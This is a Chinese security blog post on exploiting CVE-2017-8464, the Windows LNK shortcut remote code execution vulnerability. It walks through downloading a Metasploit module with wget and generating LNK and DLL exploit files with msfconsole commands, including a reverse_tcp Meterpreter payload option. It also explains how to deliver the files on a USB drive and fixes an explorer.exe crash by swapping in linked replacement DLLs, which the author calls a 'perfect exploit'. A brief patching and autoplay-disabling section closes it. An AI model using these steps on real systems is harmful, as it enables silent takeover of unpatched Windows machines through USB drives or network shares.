Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

简介: 本文讲的是Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试,北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
本文讲的是 Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。

该漏洞的原理同2010年据称美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的震网病毒(Stuxnet)非常相似,所以也被一些人称为“震网三代”。

然而,通过百度搜索关键词“cve-2017-8464复现”找到的国内一些文章,对该漏洞的复现存在误解,错把通过快捷方式执行powershell代码当作了该漏洞的利用方法。

所以,本文将要纠正这个错误。并且,目前可供测试的msf利用脚本存在一个bug,漏洞触发后进程explorer.exe崩溃,漏洞利用不够完美。考虑到距补丁公开日期已经超过45天,所以本文将要公开利用脚本中bug的修复方法,实现该漏洞的“完美利用”。

0x01 简介

本文将要介绍以下内容:

· 漏洞简介

· 漏洞测试

· bug修复

· 防御

0x02 漏洞简介

该漏洞是一个微软Windows系统处理LNK文件过程中发生的远程代码执行漏洞。 
当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 
该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

也就是说,漏洞可以在以下任一条件下触发:

1、系统开启U盘自动播放功能,插入U盘,漏洞触发 
2、通过网络共享访问该文件目录 
3、直接访问该文件目录

0x03 漏洞测试

目前公开渠道可供测试利用的脚本有如下两个:

1、msf利用脚本

作者:ykoster

下载地址:https://github.com/rapid7/metasploit-framework/pull/8767

2、python利用脚本

作者:nixawk

下载地址:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py

本文着重测试msf脚本,将exp拷贝至U盘,测试通过U盘触发漏洞的利用方法

实际测试:

测试系统: kali 2.0

1、下载msf脚本

cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

2、生成exp

use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec
set cmd calc.exe
set EXITFUNC thread
exploit

注:

msf脚本默认对应系统Windows x64,所以payload也选择64位的exec

参数设置如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

执行后,在/root/.msf4/local/生成24个利用文件,如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1

命令如下:

cp -r /root/.msf4/local/ /root/1

复制文件,如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

将以上文件复制到U盘,在另一未打补丁的Win7 x64系统测试

3、测试

成功执行calc.exe,但是进程explorer.exe崩溃

如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

注:

U盘内的利用脚本可通过格式化U盘删除

接着又分别做了如下测试:

· 测试Win10 x64

· 更换payload: set payload windows/x64/meterpreter/reverse_tcp

依旧是同样的结果

查看github,其他人也遇到了同样的问题,如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

更多回复见:https://github.com/rapid7/metasploit-framework/pull/8767

4、更多测试

尝试测试32位系统

该脚本支持32位系统,切换命令如下:

set target 1
set payload windows/exec

如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

但是测试结果不尽人意,依旧失败

0x04 bug修复

省略调试过程,直接给出一种最简单的解决方法:更换dll

msf利用脚本共生成24个文件,分别为1个dll文件和23个lnk文件

如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

注:对于23个lnk文件,文件名最后一位代表U盘盘符,如果测试系统U盘为E盘,那么只留下文件名最后一位为"E"的lnk文件就好,其他lnk文件可以删除

bug产生的原因在于dll,将其换成自己的dll就好

32位可供测试的dll下载地址:

https://github.com/3gstudent/test/blob/master/calc.dll

64位可供测试的dll下载地址:

https://github.com/3gstudent/test/blob/master/calc_x64.dll

不会导致进程explorer.exe崩溃,测试如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

插入U盘自动播放触发漏洞的测试如下图

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

至此,bug成功修复

0x05 防御

1、安装补丁

微软官方补丁下载地址:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464

360漏洞补丁修复工具下载地址:

http://b.360.cn/other/stuxnet3fixtool

2、关闭U盘自动播放功能

0x06 小结

本文对CVE-2017-8464的msf利用脚本进行测试,修复其中的bug,在技术层面上,实现对该漏洞的“完美利用”,请勿用于非法用途,在此再次提醒普通用户勤打补丁的必要。




原文发布时间为:2017年8月2日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
4天前
|
安全 Java 应用服务中间件
渗透测试-JBoss 5.x/6.x反序列化漏洞
渗透测试-JBoss 5.x/6.x反序列化漏洞
26 14
|
4天前
|
安全 网络安全 数据安全/隐私保护
渗透测试-Openssl心脏出血漏洞复现
渗透测试-Openssl心脏出血漏洞复现
18 7
|
19天前
|
安全 应用服务中间件 网络安全
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
29 11
|
1月前
|
监控 安全 虚拟化
降级攻击可“复活”数以千计的Windows漏洞
在本周举行的黑帽大会(Black Hat 2024)上,安全研究员Alon Leviev曝光了一个微软Windows操作系统的“超级漏洞”,该漏洞使得攻击者可以利用微软更新进程实施降级攻击,“复活”数以千计的微软Windows漏洞,即便是打满补丁的Windows11设备也将变得千疮百孔,脆弱不堪。
|
17天前
|
负载均衡 网络协议 安全
【Azure 应用服务】Azure Web App的服务(基于Windows 操作系统部署)在被安全漏洞扫描时发现了TCP timestamps漏洞
【Azure 应用服务】Azure Web App的服务(基于Windows 操作系统部署)在被安全漏洞扫描时发现了TCP timestamps漏洞
|
2月前
|
安全 Windows
Microsoft Windows远程桌面服务远程执行代码漏洞(CVE-2019-0708)
Microsoft Windows远程桌面服务远程执行代码漏洞(CVE-2019-0708)
38 2
|
2月前
|
安全 测试技术 网络安全
探索自动化测试:从理论到实践网络防御的盾牌与剑:漏洞解析与加密技术实战
【7月更文挑战第31天】在软件工程领域,自动化测试是确保产品质量和提升开发效率的关键工具。本文将深入探讨自动化测试的核心概念、优势以及面临的挑战,并通过一个具体的代码示例来展示如何在实际项目中实施自动化测试。我们将看到,通过采用恰当的策略和技术,自动化测试不仅能够提高测试覆盖率,还可以缩短反馈周期,从而加速迭代速度。 【7月更文挑战第31天】在数字世界的无垠战场上,网络安全和信息安全是守护数据宝藏的盾牌与剑。本文将深入探讨网络安全的脆弱点,揭示加密技术的奥秘,并唤醒每一位数字时代居民的安全意识。通过代码示例和案例分析,我们将一起穿梭在信息的海洋中,学习如何铸造坚不可摧的防御,以及如何运用高超
31 0
|
安全 Windows
高危Windows系统 SMB/RDP远程命令执行漏洞 手工修复办法
 1、Windows Update更新补丁方式: 更新方法:点击“开始”->“控制面板”->“Windows Update” ,点击“检查更新”-“安装更新”:   2、检查安装结果: 点击“查看更新历史记录”,检查安装的补丁: 3、重启系统生效 漏洞参考: https://blogs.
1433 0
|
Web App开发 安全 开发者
开发者论坛一周精粹(第十七期) :【漏洞预警】Windows再被爆SMB服务0day漏洞,阿里云提示您关注并修复
在美国拉斯维加斯举行的2017年度DEF CON黑客大会上,安全研究人员公布了Windows系统上的一个长达20年没有发现的漏洞,该漏洞名为“SMBLoris”,黑客可以轻松的使用简短的20行代码利用该漏洞即可发起DoS攻击导致系统内存资源耗尽,该漏洞影响Windows 2000及以上系统的SMBv...
2561 0
下一篇
DDNS